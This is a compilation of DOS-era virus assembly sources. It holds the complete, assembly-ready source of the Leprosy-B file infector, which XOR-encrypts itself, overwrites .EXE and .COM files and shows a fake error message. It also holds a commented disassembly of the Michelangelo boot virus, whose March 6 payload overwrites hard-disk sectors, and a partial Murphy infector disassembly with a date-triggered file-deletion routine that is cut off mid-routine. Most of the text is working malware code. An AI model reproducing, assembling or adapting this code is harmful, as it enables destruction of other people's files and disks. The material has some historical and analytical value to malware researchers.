;0620  06 51 00 83 D2 00 05 0F-00 83 D2 00 25 F0 FF A3  .Q..R.....R.%p.#
;0630  7C 00 89 16 7E 00 05 10-07 83 D2 00 72 3A F7 36  |...~.....R.r:w6
;0640  78 00 0B D2 74 01 40 A3-53 00 89 16 51 00 A1 7C  x..Rt.@#S...Q.!|
;0650  00 8B 16 7E 00 F7 36 7A-00 2B 06 57 00 A3 65 00  ...~.w6z.+.W.#e.
;0660  C7 06 63 00 C5 00 A3 5D-00 C7 06 5F 00 10 07 33  G.c.E.#].G._...3
;0670  C9 8B D1 B8 00 42 CD 21-72 0A B9 1C 00 BA 4F 00  I.Q8.BM!r.9..:O.
;0680  B4 40 CD 21 72 11 3B C1-75 18 8B 16 7C 00 8B 0E  4@M!r.;Au...|...
;0690  7E 00 B8 00 42 CD 21 72-09 33 D2 B9 10 07 B4 40  ~.8.BM!r.3R9..4@
;06A0  CD 21 2E 83 3E 8F 00 00-74 04 B4 49 CD 21 2E 83  M!..>...t.4IM!..
;06B0  3E 70 00 FF 74 31 2E 8B-1E 70 00 2E 8B 16 74 00  >p..t1...p....t.
;06C0  2E 8B 0E 76 00 B8 01 57-CD 21 B4 3E CD 21 2E C5  ...v.8.WM!4>M!.E
;06D0  16 80 00 2E 8B 0E 72 00-B8 01 43 CD 21 2E C5 16  ......r.8.CM!.E.
;06E0  1B 00 B8 24 25 CD 21 07-1F 5F 5E 5A 59 5B 58 9D  ..8$%M!.._^ZY[X.
;06F0  2E FF 2E 17 00 00 00 00-00 00 00 00 00 00 00 00  ................
;0700  4D 00 00 0F 00 00 00 00-00 00 00 00 00 00 00 00  M...............
;0710  CD 20 0B 1B 00 9A F0 FE-1D F0 2F 01 0E 0A 3C 01  M ....p~.p/...<.
;0720  0E 0A EB 04 0E 0A 0E 0A-01 01 01 00 02 FF FF FF  ..k.............
;0730  FF FF FF FF FF FF FF FF-FF FF FF FF DD 0A 0C 16  ............]...
;0740  52 0B 14 00 18 00 52 0B-FF FF FF FF 00 00 00 00  R.....R.........
;0750  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
;0760  CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20  M!K..........
;0770  20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20          .....
;0780  20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00          ........
;0790  00 0D 62 3A 0D 62 6F 2E-2A 20 62 3A 0D 00 00 00  ..b:.bo.* b:....
;07A0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 01 00  ................
;07B0  17 D0 01 00 01 00 17 D0-01 00 01 00 17 D0 02 00  .P.....P.....P..
;07C0  01 00 17 D0 02 00 01 00-87 CF 00 00 05 00 FF FF  ...P.....O......
;07D0  EA CF 01 00 17 D0 07 00-01 00 6C 15 08 25 A5 FE  jO...P....l..%%~
;07E0  BC 07 1E 02 10 07 6C 15-8E 17 2F 01 04 7F 70 00  <.....l.../...p.
;07F0  10 07 40 00 82 08 88 17-A5 16 1B 02 8E 17 02 02  ..@.....%.......
;0800  4D 15 18 05 00 00 00 00-00 00 00 00 00 00 00 00  M...............
;<<<<<<<<<< ORIGINAL CODE BEGINS HERE
;0810  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0820  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0830  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0840  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0850  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0860  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0870  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0880  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0890  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08A0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08B0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08C0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08D0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08E0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08F0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0900  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;>>>>>>>>>> ORIGINAL CODE ENDS HERE
;0910  4D 73 44 6F 73
;-----------------------------------------------------------------------;
   END





;     -   Leprosy-B Virus Source
;                       Copy-ya-right (c) 1990 by PCM2.
;
;  This file is the source code to the Leprosy-B virus.  It should
;  be assembled with an MASM-compatible assembler; it has been tested
;  and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
;  It should be made into a .COM file before executing, with either
;  the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
;
;  This program has the potential to permanently destroy executable
;  images on any disk medium.  Other modifications may have been made
;  subsequent to the original release by the author, either benign,
;  or which could result in further harm should this program be run.
;  In any case, the author assumes no responsibility for any damage
;  caused by this program, incidental or otherwise.  As a precaution,
;  this program should not be turned over to irresponsible hands...
;  (unlike people like us, that is).


               title   "Leprosy-B Virus by PCM2, August 1990"

cr              equ     13              ;  Carriage return ASCII code
lf              equ     10              ;  Linefeed ASCII code
tab             equ     9               ;  Tab ASCII code
virus_size      equ     666             ;  Size of the virus file
code_start      equ     100h            ;  Address right after PSP in memory
dta             equ     80h             ;  Addr of default disk transfer area
datestamp       equ     24              ;  Offset in DTA of file's date stamp
timestamp       equ     22              ;  Offset in DTA of file's time stamp
filename        equ     30              ;  Offset in DTA of ASCIIZ filename
attribute       equ     21              ;  Offset in DTA of file attribute


       code    segment 'code'          ;  Open code segment
       assume  cs:code,ds:code         ;  One segment for both code & data
               org     code_start      ;  Start code image after PSP

;---------------------------------------------------------------------
;  All executable code is contained in boundaries of procedure "main".
;  The following code, until the start of "virus_code", is the non-
;  encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main    proc    near                    ;  Code execution begins here
       call    encrypt_decrypt         ;  Decrypt the real virus code
       jmp     random_mutation         ;  Put the virus into action

encrypt_val     db      00h             ;  Hold value to encrypt by here

; ----------  Encrypt, save, and restore the virus code  -----------
infect_file:
       mov     bx,handle               ;  Get the handle
       push    bx                      ;  Save it on the stack
       call    encrypt_decrypt         ;  Encrypt most of the code
       pop     bx                      ;  Get back the handle
       mov     cx,virus_size           ;  Total number of bytes to write
       mov     dx,code_start           ;  Buffer where code starts in memory
       mov     ah,40h                  ;  DOS write-to-handle service
       int     21h                     ;  Write the virus code into the file
       call    encrypt_decrypt         ;  Restore the code as it was
       ret                             ;  Go back to where you came from

; ---------------  Encrypt or decrypt the virus code  ----------------
encrypt_decrypt:
       mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
xor_loop:                               ;  Start cycle here
       mov     ah,[bx]                 ;  Get the current byte
       xor     ah,encrypt_val          ;  Engage/disengage XOR scheme on it
       mov     [bx],ah                 ;  Put it back where we got it
       inc     bx                      ;  Move BX ahead a byte
       cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
       jle     xor_loop                ;  If not, do another cycle
       ret                             ;  and go back where we came from

;-----------------------------------------------------------------------
;   The rest of the code from here on remains encrypted until run-time,
;   using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:

;----------------------------------------------------------------------------
;  All strings are kept here in the file, and automatically encrypted.
;  Please don't be a lamer and change the strings and say you wrote a virus.
;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
;  changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec    db      "*.EXE",0
com_filespec    db      "*.COM",0
newdir          db      "..",0
fake_msg        db      cr,lf,"Program too big to fit in memory$"
virus_msg1      db      cr,lf,tab,"ATTENTION!  Your computer has been afflicted with$"
virus_msg2      db      cr,lf,tab,"the incurable decay that is the fate wrought by$"
virus_msg3      db      cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
virus_msg4      db      cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
compare_buf     db      20 dup (?)      ;  Buffer to compare files in
files_found     db      ?
files_infected  db      ?
orig_time       dw      ?
orig_date       dw      ?
orig_attr       dw      ?
handle          dw      ?
success         db      ?

random_mutation:                        ; First decide if virus is to mutate
       mov     ah,2ch                  ; Set up DOS function to get time
       int     21h
       cmp     encrypt_val,0           ; Is this a first-run virus copy?
       je      install_val             ; If so, install whatever you get.
       cmp     dh,15                   ; Is it less than 16 seconds?
       jg      find_extension          ; If not, don't mutate this time
install_val:
       cmp     dl,0                    ; Will we be encrypting using zero?
       je      random_mutation         ; If so, get a new value.
       mov     encrypt_val,dl          ; Otherwise, save the new value
find_extension:                         ; Locate file w/ valid extension
       mov     files_found,0           ; Count infected files found
       mov     files_infected,4        ; BX counts file infected so far
       mov     success,0
find_exe:
       mov     cx,00100111b            ; Look for all flat file attributes
       mov     dx,offset exe_filespec  ; Check for .EXE extension first
       mov     ah,4eh                  ; Call DOS find first service
       int     21h
       cmp     ax,12h                  ; Are no files found?
       je      find_com                ; If not, nothing more to do
       call    find_healthy            ; Otherwise, try to find healthy .EXE
find_com:
       mov     cx,00100111b            ; Look for all flat file attributes
       mov     dx,offset com_filespec  ; Check for .COM extension now
       mov     ah,4eh                  ; Call DOS find first service
       int     21h
       cmp     ax,12h                  ; Are no files found?
       je      chdir                   ; If not, step back a directory
       call    find_healthy            ; Otherwise, try to find healthy .COM
chdir:                                  ; Routine to step back one level
       mov     dx,offset newdir        ; Load DX with address of pathname
       mov     ah,3bh                  ; Change directory DOS service
       int     21h
       dec     files_infected          ; This counts as infecting a file
       jnz     find_exe                ; If we're still rolling, find another
       jmp     exit_virus              ; Otherwise let's pack it up
find_healthy:
       mov     bx,dta                  ; Point BX to address of DTA
       mov     ax,[bx]+attribute       ; Get the current file's attribute
       mov     orig_attr,ax            ; Save it
       mov     ax,[bx]+timestamp       ; Get the current file's time stamp
       mov     orig_time,ax            ; Save it
       mov     ax,[bx]+datestamp       ; Get the current file's data stamp
       mov     orig_date,ax            ; Save it
       mov     dx,dta+filename         ; Get the filename to change attribute
       mov     cx,0                    ; Clear all attribute bytes
       mov     al,1                    ; Set attribute sub-function
       mov     ah,43h                  ; Call DOS service to do it
       int     21h
       mov     al,2                    ; Set up to open handle for read/write
       mov     ah,3dh                  ; Open file handle DOS service
       int     21h
       mov     handle,ax               ; Save the file handle
       mov     bx,ax                   ; Transfer the handle to BX for read
       mov     cx,20                   ; Read in the top 20 bytes of file
       mov     dx,offset compare_buf   ; Use the small buffer up top
       mov     ah,3fh                  ; DOS read-from-handle service
       int     21h
       mov     bx,offset compare_buf   ; Adjust the encryption value
       mov     ah,encrypt_val          ; for accurate comparison
       mov     [bx+6],ah
       mov     si,code_start           ; One array to compare is this file
       mov     di,offset compare_buf   ; The other array is the buffer
       mov     ax,ds                   ; Transfer the DS register...
       mov     es,ax                   ; ...to the ES register
       cld
       repe    cmpsb                   ; Compare the buffer to the virus
       jne     healthy                 ; If different, the file is healthy!
       call    close_file              ; Close it up otherwise
       inc     files_found             ; Chalk up another fucked up file
continue_search:
       mov     ah,4fh                  ; Find next DOS function
       int     21h                     ; Try to find another same type file
       cmp     ax,12h                  ; Are there any more files?
       je      no_more_found           ; If not, get outta here
       jmp     find_healthy            ; If so, try the process on this one!
no_more_found:
       ret                             ; Go back to where we came from
healthy:
       mov     bx,handle               ; Get the file handle
       mov     ah,3eh                  ; Close it for now
       int     21h
       mov     ah,3dh                  ; Open it again, to reset it
       mov     dx,dta+filename
       mov     al,2
       int     21h
       mov     handle,ax               ; Save the handle again
       call    infect_file             ; Infect the healthy file
       call    close_file              ; Close down this operation
       inc     success                 ; Indicate we did something this time
       dec     files_infected          ; Scratch off another file on agenda
       jz      exit_virus              ; If we're through, terminate
       jmp     continue_search         ; Otherwise, try another
       ret
close_file:
       mov     bx,handle               ; Get the file handle off the stack
       mov     cx,orig_time            ; Get the date stamp
       mov     dx,orig_date            ; Get the time stamp
       mov     al,1                    ; Set file date/time sub-service
       mov     ah,57h                  ; Get/Set file date and time service
       int     21h                     ; Call DOS
       mov     bx,handle
       mov     ah,3eh                  ; Close handle DOS service
       int     21h
       mov     cx,orig_attr            ; Get the file's original attribute
       mov     al,1                    ; Instruct DOS to put it back there
       mov     dx,dta+filename         ; Feed it the filename
       mov     ah,43h                  ; Call DOS
       int     21h
       ret
exit_virus:
       cmp     files_found,6           ; Are at least 6 files infected?
       jl      print_fake              ; If not, keep a low profile
       cmp     success,0               ; Did we infect anything?
       jg      print_fake              ; If so, cover it up
       mov     ah,09h                  ; Use DOS print string service
       mov     dx,offset virus_msg1    ; Load the address of the first line
       int     21h                     ; Print it
       mov     dx,offset virus_msg2    ; Load the second line
       int     21h                     ; (etc)
       mov     dx,offset virus_msg3
       int     21h
       mov     dx,offset virus_msg4
       int     21h
       jmp     terminate
print_fake:
       mov     ah,09h                  ; Use DOS to print fake error message
       mov     dx,offset fake_msg
       int     21h
terminate:
       mov     ah,4ch                  ; DOS terminate process function
       int     21h                     ; Call DOS to get out of this program

filler          db       8 dup (90h)    ; Pad out the file length to 666 bytes

main    endp
code    ends
       end     main





;     Michelangelo
;     Size: 512
;     Type: Boot infector
;     Date of action: March 6th
;
;

data_1e         equ     4Ch                     ; (0000:004C=1DB1h)
data_2e         equ     4Eh                     ; (0000:004E=70h)
data_3e         equ     413h                    ; (0000:0413=280h)
data_4e         equ     7C05h                   ; (0000:7C05=203Ch)
data_5e         equ     7C0Ah                   ; (0000:7C0A=49EBh)
data_6e         equ     7C0Ch                   ; (0000:7C0C=2A3Ch)
data_7e         equ     7                       ; (694E:0007=0)
data_8e         equ     8                       ; (694E:0008=0)
data_9e         equ     0Ah                     ; (694E:000A=0)
data_11e        equ     7C03h                   ; (694E:7C03=0)

seg_a           segment
               assume  cs:seg_a, ds:seg_a


               org     100h

mich            proc    far

start:
               jmp     loc_6 ; (01AF) "This is what you see at sector 0"
               db      0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden
               db      0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes
               db      50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully
               db      0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where
               db      4, 1, 75h, 10h, 58h, 1Fh ; it writes to your
               db      9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table
               db      9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh
               db      2, 0, 58h, 1Fh, 2Eh, 0FFh
               db      2Eh, 0Ah, 0, 50h, 53h, 51h
               db      52h, 1Eh, 6, 56h, 57h, 0Eh
               db      1Fh, 0Eh, 7, 0BEh, 4, 0
loc_1: ;Init registers
               mov     ax,201h
               mov     bx,200h
               mov     cx,1
               xor     dx,dx                   ; Zero register
               pushf                           ; Push flags
               call    dword ptr ds:data_9e    ; (694E:000A=0)
               jnc     loc_2                   ; Jump if carry=0
               xor     ax,ax                   ; Zero register
               pushf                           ; Push flags
               call    dword ptr ds:data_9e    ; (694E:000A=0)
               dec     si
               jnz     loc_1                   ; Jump if not zero
               jmp     short loc_5             ; (01A6)
loc_2: ;Zero registers clear direction
               xor     si,si                   ; Zero register
               cld                             ; Clear direction
               lodsw                           ; String [si] to ax
               cmp     ax,[bx]
               jne     loc_3                   ; Jump if not equal
               lodsw                           ; String [si] to ax
               cmp     ax,[bx+2]
               je      loc_5                   ; Jump if equal
loc_3: ; cmp byte ptr See infected
               mov     ax,301h
               mov     dh,1
               mov     cl,3
               cmp     byte ptr [bx+15h],0FDh
               je      loc_4                   ; Jump if equal
               mov     cl,0Eh
loc_4: ;call out all db hiden data
               mov     ds:data_8e,cx           ; (694E:0008=0)
               pushf                           ; Push flags
               call    dword ptr ds:data_9e    ; (694E:000A=0)
               jc      loc_5                   ; Jump if carry Set
               mov     si,3BEh
               mov     di,1BEh
               mov     cx,21h
               cld                             ; Clear direction
               rep     movsw                   ; Rep while cx>0 Mov [si]
               mov     ax,301h                 ; to es:[di]
               xor     bx,bx                   ; Zero register
               mov     cx,1
               xor     dx,dx                   ; Zero register
               pushf                           ; Push flags
               call    dword ptr ds:data_9e    ; (694E:000A=0)
loc_5: ;Clear all set
               pop     di
               pop     si
               pop     es
               pop     ds
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               retn
loc_6: ;Load all hiden data
               xor     ax,ax                   ; Zero register
               mov     ds,ax
               cli                             ; Disable interrupts
               mov     ss,ax
               mov     ax,7C00h
               mov     sp,ax
               sti                             ; Enable interrupts
               push    ds
               push    ax
               mov     ax,ds:data_1e           ; (0000:004C=1DB1h)
               mov     ds:data_5e,ax           ; (0000:7C0A=49EBh)
               mov     ax,ds:data_2e           ; (0000:004E=70h)
               mov     ds:data_6e,ax           ; (0000:7C0C=2A3Ch)
               mov     ax,ds:data_3e           ; (0000:0413=280h)
               dec     ax
               dec     ax
               mov     ds:data_3e,ax           ; (0000:0413=280h)
               mov     cl,6
               shl     ax,cl                   ; Shift w/zeros fill
               mov     es,ax
               mov     ds:data_4e,ax           ; (0000:7C05=203Ch)
               mov     ax,0Eh
               mov     ds:data_1e,ax           ; (0000:004C=1DB1h)
               mov     ds:data_2e,es           ; (0000:004E=70h)
               mov     cx,1BEh
               mov     si,7C00h
               xor     di,di                   ; Zero register
               cld                             ; Clear direction
               rep     movsb                   ; Rep while cx>0 Mov [si]
               jmp     dword ptr cs:data_11e   ; to es:[di] (694E:7C03=0)
               db      33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;<- Notice all the
               db      0Eh, 1Fh, 0B8h, 1, 2, 0BBh      ;          cd 13
               db      0, 7Ch, 8Bh, 0Eh, 8, 0
               db      83h, 0F9h, 7, 75h, 7, 0BAh
               db      80h, 0, 0CDh, 13h, 0EBh, 2Bh
               db      8Bh, 0Eh, 8, 0, 0BAh, 0
               db      1, 0CDh, 13h, 72h, 20h, 0Eh
               db      7, 0B8h, 1, 2, 0BBh, 0
               db      2, 0B9h, 1, 0, 0BAh, 80h
               db      0, 0CDh, 13h, 72h, 0Eh, 33h
               db      0F6h, 0FCh, 0ADh, 3Bh, 7, 75h
               db      4Fh, 0ADh, 3Bh, 47h, 2
               db      75h, 49h
loc_7:;check if it is time to nuke
               xor     cx,cx                   ; Zero register
               mov     ah,4
               int     1Ah ; Real time clock   ah=func 04h don't work on an xt
                                               ; read date cx=year, dx=mon/day
               cmp     dx,306h                 ; See if March 6th
               je      loc_8                   ; Jump if equal to nuking subs
               retf                            ; Return to launch command.com
loc_8:;get ready
               xor     dx,dx                   ; Zero register
               mov     cx,1
loc_9:;run 7 times nuke 31.5 megs of hd
               mov     ax,309h
               mov     si,ds:data_8e           ; (694E:0008=0)
               cmp     si,3
               je      loc_10                  ; Jump if equal
               mov     al,0Eh
               cmp     si,0Eh
               je      loc_10                  ; Jump if equal
               mov     dl,80h
               mov     byte ptr ds:data_7e,4   ; (694E:0007=0)
               mov     al,11h
loc_10: ;nuke away
               mov     bx,5000h
               mov     es,bx
               int     13h                     ; Disk  dl=drive a: ah=func 03h
                                               ;  write sectors from mem es:bx
               jnc     loc_11                  ; Jump if carry=0
               xor     ah,ah                   ; Zero register
               int     13h                     ; Disk  dl=drive a: ah=func 00h
                                               ;  reset disk, al=return status
loc_11: ;rest for loc-9 nuking
               inc     dh
               cmp     dh,ds:data_7e           ; (694E:0007=0)
               jb      loc_9                   ; Jump if below
               xor     dh,dh                   ; Zero register
               inc     ch
               jmp     short loc_9             ; (0250)
loc_12:;time to infect a floppie or hard dirve
               mov     cx,7
               mov     ds:data_8e,cx           ; (694E:0008=0)
               mov     ax,301h
               mov     dx,80h
               int     13h     ; Disk  dl=drive a: ah=func 03h infect flopie
                                               ;  write sectors from mem es:bx
               jc      loc_7                   ; Jump if carry Set
               mov     si,3BEh
               mov     di,1BEh
               mov     cx,21h
               rep     movsw                   ; Rep while cx>0 Mov [si]
               mov     ax,301h                 : to es:[di]
               xor     bx,bx                   ; Zero register
               inc     cl
               int     13h ; Disk  dl=drive a: ah=func 03h lets infect hd
                                               ;  write sectors from mem es:bx
;*              jmp     short loc_13            ;*(02E0)
               db      0EBh, 32h
               db      1, 4, 11h, 0, 80h, 0
               db      5, 5, 32h, 1, 0, 0
               db      0, 0, 0
               db      53h, 53h, 20h, 20h, 43h, 4Fh
               db      4Dh
               db      58 dup (0)
               db      55h, 0AAh

seg_a           ends

;Last notes this virus looks like a poor hack job on the stoned virus.
;It is kinda cool in the fact that it is hard to get out of the partition table
;even if you nuke the partition table it will live on even if you replace it.
;the only way to get it out of the partition table is 1. debug 2.clean ver 86b
;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it
;this virus uses int 1ah which doesn't work on an XT system.
;the virus isn't actually 512 but that is how much it writes.
;it moves the boot area of a floppy to the last sector on the disk
;and on a harddrive it moves it to the last sector in the root directory
;This should show you all how much the media can over do it on things
;since this is really a lame virus,to tell you the truth there is a lot better
;ones out there.
;This in no way is a complete listing of the code for the virus.
;Nor is it the best since i'm not the best at Assembly.
;Done by Visionary.
;BTW to who ever wrote this virus... Get a life!

-------------------------------------------------------------------------------





PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             MURPHY                                   лл
;лл                                                                      лл
;лл      Created:   4-Mar-91                                             лл
;лл      Version:                                                        лл
;лл      Passes:    5          Analysis Options on: H                    лл
;лл                                                                      лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

data_1e         equ     4Ch                     ; (0000:004C=74h)
data_3e         equ     84h                     ; (0000:0084=0EBh)
data_5e         equ     90h                     ; (0000:0090=56h)
data_7e         equ     102h                    ; (0000:0102=0F000h)
data_8e         equ     106h                    ; (0000:0106=0F000h)
data_9e         equ     47Bh                    ; (0000:047B=14h)
data_10e        equ     0                       ; (4098:0000=0FFh)
data_11e        equ     1                       ; (4099:0001=0FFFFh)
data_12e        equ     2                       ; (40EB:0002=0FFFFh)
data_13e        equ     6                       ; (40EB:0006=0FFFFh)
data_31e        equ     0FC99h                  ; (7415:FC99=0)
data_32e        equ     0FC9Bh                  ; (7415:FC9B=0)
data_33e        equ     0FCB7h                  ; (7415:FCB7=0)
data_34e        equ     0FCB9h                  ; (7415:FCB9=0)
data_35e        equ     0FCBBh                  ; (7415:FCBB=0)
data_36e        equ     0FCC5h                  ; (7415:FCC5=0)
data_37e        equ     0FCC7h                  ; (7415:FCC7=0)
data_38e        equ     0FCCDh                  ; (7415:FCCD=0)
data_39e        equ     0FCCFh                  ; (7415:FCCF=0)
data_40e        equ     0                       ; (F000:0000=0AA55h)
data_41e        equ     2                       ; (F000:0002=40h)

seg_a           segment byte public
               assume  cs:seg_a, ds:seg_a


               org     100h

murphy          proc    far

start:
               jmp     loc_28                  ; (0466)
               db      0C3h
               db      23 dup (0C3h)
               db      2Ah, 2Eh, 45h, 58h, 45h, 0
data_17         dw      0C3C3h
data_18         dw      0C3C3h
data_19         db      0, 0
data_20         dw      0
data_21         dw      0
data_22         dw      0
data_23         dw      7415h
data_24         dd      00000h
data_25         dw      0
data_26         dw      7415h
data_27         dd      00000h
data_28         dw      0
data_29         dw      7415h
               db      0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan'
               db      'ta Swami Prabhupada (1896-1977)', 0Ah
               db      0Dh, 0Ah, 0Dh, '$'
               db      '=MKu', 9, 'U'
               db      8Bh, 0ECh, 83h, 66h, 6, 0FEh
               db      5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
               db      12h, 3Dh, 0, 3Dh, 74h, 0Dh
               db      3Dh, 0, 6Ch, 75h, 5, 80h
               db      0FBh, 0, 74h, 3, 0E9h, 0BEh
               db      0, 6, 1Eh, 57h, 56h, 55h
               db      52h, 51h, 53h, 50h, 0E8h, 48h
               db      2, 0E8h, 82h, 2, 3Dh, 0
               db      6Ch, 75h, 2, 8Bh, 0D6h
loc_1:
               mov     cx,80h
               mov     si,dx

locloop_2:
               inc     si
               mov     al,[si]
               or      al,al                   ; Zero ?
               loopnz  locloop_2               ; Loop if zf=0, cx>0

               sub     si,2
               cmp     word ptr [si],4D4Fh
               je      loc_5                   ; Jump if equal
               cmp     word ptr [si],4558h
               je      loc_4                   ; Jump if equal
loc_3:
               jmp     short loc_12            ; (024A)
               db      90h
loc_4:
               cmp     word ptr [si-4],4E41h
               je      loc_6                   ; Jump if equal
               cmp     word ptr [si-4],444Ch
               je      loc_6                   ; Jump if equal
               cmp     word ptr [si-4],4A52h
               je      loc_6                   ; Jump if equal
               jnz     loc_7                   ; Jump if not zero
loc_5:
               cmp     word ptr [si-4],444Eh
               je      loc_3                   ; Jump if equal
               jnz     loc_8                   ; Jump if not zero
loc_6:
               int     19h                     ; Bootstrap loader
loc_7:
               jz      loc_8                   ; Jump if zero
loc_8:
               mov     ax,3D02h
               call    sub_5                   ; (03E5)
               jc      loc_12                  ; Jump if carry Set
               mov     bx,ax
               mov     ax,5700h
               call    sub_5                   ; (03E5)
               mov     cs:data_20,cx           ; (7415:0127=0)
               mov     cs:data_21,dx           ; (7415:0129=0)
               mov     ax,4200h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03E5)
               push    cs
               pop     ds
               mov     dx,103h
               mov     si,dx
               mov     cx,18h
               mov     ah,3Fh                  ; '?'
               call    sub_5                   ; (03E5)
               jc      loc_10                  ; Jump if carry Set
               cmp     word ptr [si],5A4Dh
               jne     loc_9                   ; Jump if not equal
               call    sub_1                   ; (025B)
               jmp     short loc_10            ; (0233)
loc_9:
               call    sub_4                   ; (036B)
loc_10:
               jc      loc_11                  ; Jump if carry Set
               mov     ax,5701h
               mov     cx,cs:data_20           ; (7415:0127=0)
               mov     dx,cs:data_21           ; (7415:0129=0)
               call    sub_5                   ; (03E5)
loc_11:
               mov     ah,3Eh                  ; '>'
               call    sub_5                   ; (03E5)
loc_12:
               call    sub_7                   ; (0429)
               pop     ax
               pop     bx
               pop     cx
               pop     dx
               pop     bp
               pop     si
               pop     di
               pop     ds
               pop     es
loc_13:
               jmp     cs:data_24              ; (7415:012F=0)

murphy          endp

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_1           proc    near
               mov     ah,2Ah                  ; '*'
               int     21h                     ; DOS Services  ah=function 2Ah
                                               ;  get date, cx=year, dx=mon/day
               cmp     dh,4
               je      loc_14                  ; Jump if equal
               jnz     loc_15                  ; Jump if not zero
loc_14:
               mov     ah,2Ah                  ; '*'
               int     21h                     ; DOS Services  ah=function 2Ah
                                               ;  get date, cx=year, dx=mon/day
               cmp     dl,0Fh
               je      loc_16                  ; Jump if equal
               jnz     loc_15                  ; Jump if not zero
loc_15:
               mov     cx,[si+16h]
               add     cx,[si+8]
               mov     ax,10h
               mul     cx                      ; dx:ax = reg * ax
               add     ax,[si+14h]
               adc     dx,0
               push    dx
               push    ax
               mov     ax,4202h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03E5)
               cmp     dx,0
               jne     loc_17                  ; Jump if not equal
               cmp     ax,4E2h
               jae     loc_17                  ; Jump if above or =
               pop     ax
               pop     dx
               stc                             ; Set carry flag
               retn
loc_16:
               mov     dx,10h
               mov     ah,1Ah
               int     21h                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               mov     dx,11Bh
               mov     cx,110Bh
               mov     ah,4Eh                  ; 'N'
               int     21h                     ; DOS Services  ah=function 4Eh
                                               ;  find 1st filenam match @ds:dx
               mov     dx,2Eh
               mov     ax,3D02h
               int     15h                     ; General services, ah=func 3Dh
               mov     ah,41h                  ; 'A'
               int     21h                     ; DOS Services  ah=function 41h
                                               ;  delete file, name @ ds:dx
               jmp     loc_23                  ; (0395)
               db      0BAh, 3Fh, 1, 0B4h, 9, 0CDh
               db      21h, 0EBh, 1, 90h
loc_17:
               mov     di,ax
               mov     bp,dx
               pop     cx
               sub     ax,cx
               pop     cx
               sbb     dx,cx
               cmp     word ptr [si+0Ch],0
               je      loc_ret_20              ; Jump if equal
               cmp     dx,0
               jne     loc_18                  ; Jump if not equal
               cmp     ax,4E2h
               jne     loc_18                  ; Jump if not equal
               stc                             ; Set carry flag
               retn
loc_18:
               mov     dx,bp
               mov     ax,di
               push    dx
               push    ax
               add     ax,4E2h
               adc     dx,0
               mov     cx,200h
               div     cx                      ; ax,dx rem=dx:ax/reg
